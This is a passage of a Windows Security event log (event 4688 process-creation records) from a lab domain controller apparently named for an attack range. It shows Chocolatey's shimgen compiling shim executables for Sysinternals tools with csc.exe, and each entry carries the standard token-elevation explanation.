/win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246502 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x438 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246501 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x438 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\FindLinks64.exe" --output="C:\ProgramData\chocolatey\bin\FindLinks64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\FindLinks64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246500 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xddc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCC73.tmp" "c:\ProgramData\chocolatey\bin\CSCB907A8432BEC46E79C6568FFC3EE5AA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246499 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd30 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xddc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246498 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xddc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x844 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\FindLinks.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246547 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd64 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246546 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd64 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Listdlls.exe" --output="C:\ProgramData\chocolatey\bin\Listdlls.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Listdlls.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246545 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc94 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xce0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD349.tmp" "c:\ProgramData\chocolatey\bin\CSCCB2D394D00F48ABBF1A43A535FB9F5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246544 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xce0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246543 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xce0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd28 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ldmdump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246542 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd28 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246541 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd28 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ldmdump.exe" --output="C:\ProgramData\chocolatey\bin\ldmdump.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ldmdump.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246540 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x57c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD26E.tmp" "c:\ProgramData\chocolatey\bin\CSCD28B9CA714984D3BAD34BD593F8CBBA5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246539 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x360 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x57c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246538 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\junction64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246537 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe8c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246536 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\junction64.exe" --output="C:\ProgramData\chocolatey\bin\junction64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\junction64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246535 -Keywords=Audit Success 